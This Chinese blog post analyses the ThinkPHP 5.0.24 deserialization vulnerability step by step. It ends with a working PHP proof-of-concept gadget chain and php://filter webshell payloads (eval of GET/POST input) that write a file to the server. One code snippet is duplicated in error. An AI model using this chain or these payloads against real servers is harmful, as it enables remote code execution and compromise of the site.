freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Thinkphp5.0.24反序列化分析和poc
2021-08-10 15:43:38

前言

作为一名小白,对于反序列化,之前一直没有时间接触,只在ctf中偶尔遇见,而且还是很短的那种,在项目源码中利用反序列化,要比前者难得多,所以这次我利用两天的时间,好好研究了thinkphp5.0.24这个经典的反序列化漏洞,收获不少,在此记录一下。

复现环境

windows10

phpstudy(apache+mysql)

thinkphp5.0.24

php5.6.9

搭建环境

下载thinkPHP

下载地址:http://www.thinkphp.cn/donate/download/id/1279.html

将源码解压后放到PHPstudy根目录,修改application/index/controller/Index.php文件,此为框架的反序列化漏洞,只有二次开发且实现反序列化才可利用。所以我们需要手工加入反序列化利用点。

class Index
{
    public function index()
    {
        echo "Welcome thinkphp 5.0.24";
        unserialize(base64_decode($_GET['a']));
    }
}

访问以下,确保能正常访问。

分析

我们的目的就是通过__destruct想法设法调用output类中的__call来实现命令执行,首先查找__destruct

找到这些,就不一个个分析了,只有Windows.php里的__destruct可以作为入口点。

我们进入Windows,php查看该__destruct

public function __destruct()
    {
        $this->close();
        $this->removeFiles();
    }

跟进这个方法,发现close为关闭文件的方法,没有利用点,而removeFiles中有个file_exists正好可以触发__toString.

private function removeFiles()
    {
        foreach ($this->files as $filename) {
            if (file_exists($filename)) {
                @unlink($filename);
            }
        }
        $this->files = [];
    }

然后我们就去寻找__toString。全局搜素__toString

发现了这么多,根据前人的铺垫我们选择Model中的__toString。代码如下:

public function __toString()
    {
        return $this->toJson();
    }

跟进toJson

public function toJson($options = JSON_UNESCAPED_UNICODE)
    {
        return json_encode($this->toArray(), $options);
    }

跟进toArray

public function toArray()
    {
        ........
        if (!empty($this->append)) {
            foreach ($this->append as $key => $name) {
                if (is_array($name)) {
                    // 追加关联对象属性
                    $relation   = $this->getAttr($key);
                    $item[$key] = $relation->append($name)->toArray();
                } elseif (strpos($name, '.')) {
                    list($key, $attr) = explode('.', $name);
                    // 追加关联对象属性
                    $relation   = $this->getAttr($key);
                    $item[$key] = $relation->append([$attr])->toArray();
                } else {
                    $relation = Loader::parseName($name, 1, false);
                    if (method_exists($this, $relation)) {
                        $modelRelation = $this->$relation();
                        $value         = $this->getRelationData($modelRelation);

                        if (method_exists($modelRelation, 'getBindAttr')) {
                            $bindAttr = $modelRelation->getBindAttr();
                            if ($bindAttr) {
                                foreach ($bindAttr as $key => $attr) {
                                    $key = is_numeric($key) ? $attr : $key;
                                    if (isset($this->data[$key])) {
                                        throw new Exception('bind attr has exists:' . $key);
                                    } else {
                                        $item[$key] = $value ? $value->getAttr($attr) : null;
                                    }
                                }
                                continue;
                            }
                        }
                        $item[$name] = $value;
                    } else {
                        $item[$name] = $this->getAttr($name);
                    }
                }
            }
        }
        return !empty($item) ? $item : [];
    }

只要对象可控,且调用了不存在的方法,就会调用__call方法。大体扫描了一遍,发现能调用__call的只有如下四个形式

1.$item[$key] = $relation->append($name)->toArray();
2.$item[$key] = $relation->append([$attr])->toArray();
3.$bindAttr = $modelRelation->getBindAttr();
4.$item[$key] = $value ? $value->getAttr($attr) : null;

通过分析发现1,2$relation返回错误,不可利用。3中的$modelRelation只能为Relation类型,因此不可控。

只有4是可以利用的,要使代码走到4,需要多个关卡。

七大关

1.!empty($this->append) # $this->append不为空
2.!is_array($name) #$name不能为数组
3.!strpos($name, '.') #$name不能有.
4.method_exists($this, $relation)#$relation必须为Model类里的方法
5.method_exists($modelRelation, 'getBindAttr')#$modelRelation必须存在getBindAttr方法
6.$bindAttr #必须有值
7.!isset($this->data[$key]) #$key不能在$this->data这个数组里有相同的值。

只有通过这七关我们就来到代码4了。

第1-4关

我们来分析一下。在toArray方法中,$this->append是可控的,因此$key和$name也是可控的,我们只需要使$this->append=’fuck‘]随便几个字符就可通过前三关,到了第四关,发现$relation跟$name有关系.如下:

$relation = Loader::parseName($name, 1, false);

通过搜索发现parseName这是一个风格转换函数,也就是说$name==$relation。

/**
     * 字符串命名风格转换
     * type 0 将 Java 风格转换为 C 的风格 1 将 C 风格转换为 Java 的风格
     * @access public
     * @param  string  $name    字符串
     * @param  integer $type    转换类型
     * @param  bool    $ucfirst 首字母是否大写(驼峰规则)
     * @return string
     */
    public static function parseName($name, $type = 0, $ucfirst = true)
    {
        if ($type) {
            $name = preg_replace_callback('/_([a-zA-Z])/', function ($match) {
                return strtoupper($match[1]);
            }, $name);

            return $ucfirst ? ucfirst($name) : lcfirst($name);
        }

        return strtolower(trim(preg_replace("/[A-Z]/", "_\\0", $name), "_"));
    }

所以,要想通过第四关,我们就不能瞎写了,需要写成$this->append=['getError'],getError为Model类里的方法,且结构简单返回值可控。代码如下:

public function getError()
    {
        return $this->error;
    }

第5关

$modelRelation定义如下:

$modelRelation = $this->$relation();
$value         = $this->getRelationData($modelRelation);

第四关时已经说了,$relation为getError,返回值可控,即$modelRelation可控。跟进getRelationData方法,如下:

protected function getRelationData(Relation $modelRelation)
    {
        if ($this->parent && !$modelRelation->isSelfRelation() && get_class($modelRelation->getModel()) == get_class($this->parent)) {
            $value = $this->parent;
        } else {
            // 首先获取关联数据
            if (method_exists($modelRelation, 'getRelation')) {
                $value = $modelRelation->getRelation();
            } else {
                throw new BadMethodCallException('method not exists:' . get_class($modelRelation) . '-> getRelation');
            }
        }
        return $value;
    }

我们看到$modelRelation必须为Relation对象,通过$this->error控制,并且$modelRelation这个对象还要有isSelfRelation()、getModel()方法,

搜索这两种方法发现Relation类中都有,但因为Relation为抽象类,需要寻找他的子类。全局搜索。

除了最后一个是抽象类外,都可以拿来用,但是!!!,我们别忘了第五关,需要$modelRelation必须存在getBindAttr方法,但是Relation没有getBindAttr方法,只有OneToOne类里有,且OneToOne类正好继承Relation类,不过是抽象类,所以我们需要找它的自类。全局搜索

发现存在两个可用的,我们选择第二个HasOne,即$this->error=new HasOne()。好了,调用方法的问题解决了,但是还需要过三小关

$this->parent
!$modelRelation->isSelfRelation()
get_class($modelRelation->getModel()) == get_class($this->parent)

$this->parent可控,我们要使用Output类中的__call,所以$value必须为output对象,所以$this->parent必须控制为output对象,即$this->parent=new Output().

我们看一下isSelfRelation()方法

public function isSelfRelation()
    {
        return $this->selfRelation;
    }

$this->selfRelation可控,设为false即可。

第2小关已过,看第3小关,

get_class()的意思为 返回对象实例 obj 所属类的名字。

$this->parent已经确定为Output类了,所以我们要控制get_class($modelRelation->getModel())为Output类,看一下getModel()的实现

public function getModel()
    {
        return $this->query->getModel();
    }

$this->query可控,我们只需要找个getModel方法返回值可控的就可了,全局搜索getModel方法

发现前两个的getModel方法返回值都可控,如下:

public function getModel()
    {
        return $this->model;
    }

}

随机挑选一个幸运儿Query,使$this->query=new Query() ,$this->model=new Output()即可。

三小关已过,if方法为True,$value=$this->parent=new Output(). 第五关也顺其而然的过了。

第6关

$bindAttr的定义如下:

$bindAttr = $modelRelation->getBindAttr();

看一下getBindAttr()方法:

public function getBindAttr() { return $this->bindAttr; }

$this->bindAttr可控,$this->bindAttr=["kanjin","kanjinaaa"],随便写即可。

终于到达 $item[$key] = $value ? $value->getAttr($attr) : null; 因为Output类中没有getAttr方法,所以会去调用__call方法。

__call

查看Output类中的__call方法

public function __call($method, $args)
    {
        if (in_array($method, $this->styles)) {
            array_unshift($args, $method);
            return call_user_func_array([$this, 'block'], $args);
        }

        if ($this->handle && method_exists($this->handle, $method)) {
            return call_user_func_array([$this->handle, $method], $args);
        } else {
            throw new Exception('method not exists:' . __CLASS__ . '->' . $method);
        }
    }

}

当因为没有getAttr方法去调用__call方法时,__call方法中的$method=getAttr, $args=['kanjinaaa']

我们要使用call_user_func_array([$this, 'block'], $args); 就要使in_array($method, $this->styles)成立。$this->styles可控,即$this->styles=['getAttr']

array_unshift($args, $method); 是将$method添加到数组$args中不用管。

进入call_user_func_array([$this, 'block'], $args); 调用了block方法,跟进block方法。

protected function block($style, $message)
    {
        $this->writeln("<{$style}>{$message}</$style>");
    }

跟进writeln方法

public function writeln($messages, $type = self::OUTPUT_NORMAL) { $this->write($messages, true, $type); }

跟进write方法

public function writeln($messages, $type = self::OUTPUT_NORMAL)
    {
        $this->write($messages, true, $type);
    }

$this->handle可控全局查找可利用的write方法。

这里我使用了/thinkphp/library/think/session/driver/Memcache.php里的write方法,因为有set可作为跳板。

public function write($sessID, $sessData)
    {
        return $this->handler->set($this->config['session_name'] . $sessID, $sessData, 0, $this->config['expire']);
    }

$this->handler可控,全局查找set方法,

这里使用了/thinkphp/library/think/cache/driver/File.php里的set方法.

public function set($name, $value, $expire = null)
    {
        if (is_null($expire)) {
            $expire = $this->options['expire'];
        }
        if ($expire instanceof \DateTime) {
            $expire = $expire->getTimestamp() - time();
        }
        $filename = $this->getCacheKey($name, true);
        if ($this->tag && !is_file($filename)) {
            $first = true;
        }
        $data = serialize($value);
        if ($this->options['data_compress'] && function_exists('gzcompress')) {
            //数据压缩
            $data = gzcompress($data, 3);
        }
        $data   = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
        $result = file_put_contents($filename, $data);
        if ($result) {
            isset($first) && $this->setTagItem($filename);
            clearstatcache();
            return true;
        } else {
            return false;
        }
    }

可以看到这里有文件写入操作,可以写入webshell,但是$data是由$value控制的,$value为writeln中的true,不可控。但是进入setTagItem方法之后发现,会将$name换成$value再一次执行了set方法。setTagItem方法如下:

protected function setTagItem($name)
    {
        if ($this->tag) {
            $key       = 'tag_' . md5($this->tag);
            $this->tag = null;
            if ($this->has($key)) {
                $value   = explode(',', $this->get($key));
                $value[] = $name;
                $value   = implode(',', array_unique($value));
            } else {
                $value = $name;
            }
            $this->set($key, $value, 0);
        }
    }

而$name通过getCacheKey方法我们是可控的,getCacheKey方法如下:

protected function getCacheKey($name, $auto = false)
    {
        $name = md5($name);
        if ($this->options['cache_subdir']) {
            // 使用子目录
            $name = substr($name, 0, 2) . DS . substr($name, 2);
        }
        if ($this->options['prefix']) {
            $name = $this->options['prefix'] . DS . $name;
        }
        $filename = $this->options['path'] . $name . '.php';
        $dir      = dirname($filename);

        if ($auto && !is_dir($dir)) {
            mkdir($dir, 0755, true);
        }
        return $filename;
    }

$this->options['path']可控,通过php伪协议绕过exit()限制,即

$this->options['path']=php://filter/write=string.rot13/resource=./<?cuc cucvasb();riny($_TRG[pzq]);?>

生成的文件名为

md5('tag_'.md5($this->tag))
即:
md5('tag_c4ca4238a0b923820dcc509a6f75849b')
 =>3b五八a9545013e88c7186db11bb158c44
 => <?cuc cucvasb();riny($_TRG[pzq]);?> + 3b五八a9545013e88c7186db11bb158c44 
 最终文件名:
 <?cuc cucvasb();riny($_TRG[pzq]);?>3b五八a9545013e88c7186db11bb158c44.php

但是上面这种文件名只能在Linux使用,window对文件名有限制。

对于windows环境我们可以使用以下payload.

$this->options['path']=php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php

生成的文件名如下:1628581200_61122d50e2b69cbb5258a.png!small?1628581200982

原理可以看这篇文章:https://xz.aliyun.com/t/7457#toc-3

poc

通过以上分析编写出了poc,里面包含了我在编写时遇到的问题和解决方法,共勉。

<

<?php
namespace think\process\pipes;
use think\model\Pivot;
class Pipes{
	
}
class Windows extends Pipes{
	private $files=[];
	function __construct(){
		$this->files=[new Pivot()];
	}
	
}
namespace think;
use think\model\relation\HasOne; // use 这里是函数名  用大写开头  写成了use think\model\relation\hasOne;
use think\console\Output;
abstract class Model{
	protected $append = [];
	protected $error;
	public $parent;       // 类型写错写错了 写成了 protected $parent; 
	public function __construct(){
		$this->append=["getError"];
		$this->error=new HasOne();
		$this->parent=new Output();
	}
}
namespace think\model\relation;
use think\model\Relation;
class HasOne extends OneToOne{
	function __construct(){
		parent::__construct();
	}
}
namespace think\model;
use think\db\Query;
abstract class Relation{
	protected $selfRelation;
	protected $query;
	function __construct(){
		$this->selfRelation=false;
		$this->query= new Query();
	}
}
namespace think\console;
use think\session\driver\Memcache;
class Output{
	private $handle = null;
	protected $styles = [];  //类型错了 写成了private $styles = [];
	function __construct(){
		$this->styles=['getAttr']; //这个条件忘记加了  注意上下文
		$this->handle=new Memcache();
	}
}
namespace think\db;
use think\console\Output;
class Query{
	protected $model;
	function __construct(){
		$this->model= new Output();
	}
}
namespace think\model\relation;
use think\model\Relation;
abstract class OneToOne extends Relation{
	
	protected $bindAttr = [];
	function __construct(){
		parent::__construct();
		$this->bindAttr=["kanjin","kanjin"];
		
	}
}
namespace think\session\driver;
use think\cache\driver\File;
class Memcache{
	protected $handler = null;
	function __construct(){
		$this->handler=new File();
	}
}
namespace think\cache\driver;
use think\cache\Driver;
class File extends Driver{
	protected $options=[];
	function __construct(){
		parent::__construct();
	$this->options = [
        'expire'        => 0,
        'cache_subdir'  => false,
        'prefix'        => '',
        'path'          => 'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgcGhwaW5mbygpOz8+IA==/../a.php',
        'data_compress' => false,
    ];
	}
}
namespace think\cache;
abstract class Driver{
	 protected $tag;
	 function __construct(){
		 $this->tag=true;
	 }
}
namespace think\model;
use think\Model;
class Pivot extends Model{
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));

//
?>

漏洞复现

通过poc生成base64字符串,进行利用。

访问生成的文件名

参考链接

https://www.yuque.com/tidesec/0sec/26a6f72b99dd3465134d534f96aab0a0#IS5Q6

https://xz.aliyun.com/t/7457#toc-3

https://www.anquanke.com/post/id/196364

# web安全 # 漏洞分析
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录